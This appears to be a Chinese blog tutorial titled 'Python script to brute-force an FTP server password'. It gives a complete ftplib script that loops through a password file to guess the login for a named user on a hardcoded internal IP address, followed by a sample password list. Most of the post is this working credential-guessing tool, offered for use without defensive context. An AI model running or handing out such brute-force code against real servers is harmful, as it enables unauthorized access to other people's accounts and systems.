zoukankan      html  css  js  c++  java
  • python脚本-暴力破解FTP服务器密码

    1、首先要知道FTP用户名,这里使用renqiyuan。

    2、自定义一个密码文件pass.txt,进行暴力破解。

    代码如下:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    import ftplib
    
    def ftpLogin(host, Name, PassFile):
    
        #读取密码文件
        PF = open(PassFile, 'r')
        for line in PF.readlines():
            name = Name
            passwd = str(line).strip()
            print("Trying: "+name+"/"+passwd)
            try:
                ftp = ftplib.FTP(host)
                ftp.login(name,passwd)
                print("登录成功",name, passwd)
                ftp.quit()
                return (name, passwd)
            except Exception as e:
                pass
        print("没有找到正确的密码")
        return None
    
    hostName = '172.16.10.200'
    passwordFile = 'pass.txt'
    
    if __name__ == '__main__':
        ftpLogin(hostName, "renqiyuan", passwordFile)
    

    密码文件:

    2222
    123
    123
    123
    111111
    231
    123
    

    运行结果

    image


    读书和健身总有一个在路上

  • 相关阅读:
    暂时转换
    内置函数⼆
    day13内置函数⼀
    day12⽣成器和⽣成器表达式
    20181031作业
    20181030函数2
    20181029函数1
    20181026
    20181025
    20181024
  • 原文地址:https://www.cnblogs.com/Renqy/p/12929877.html
Copyright © 2011-2022 走看看